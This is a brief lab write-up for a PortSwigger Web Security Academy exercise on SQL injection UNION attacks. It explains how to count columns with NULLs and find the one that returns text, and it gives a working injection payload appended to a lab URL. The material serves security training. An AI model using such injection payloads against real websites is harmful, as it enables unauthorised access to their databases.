https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text

just try NULL Technique until you found that there are three columns and second column is retrieve string data

[<https://ac0f1fbd1f07fb4dc0c59974004800b5.web-security-academy.net/filter?category=Gifts>](<https://ac0f1fbd1f07fb4dc0c59974004800b5.web-security-academy.net/filter?category=Gifts>)' UNION SELECT 123,'yNa66k',NULL--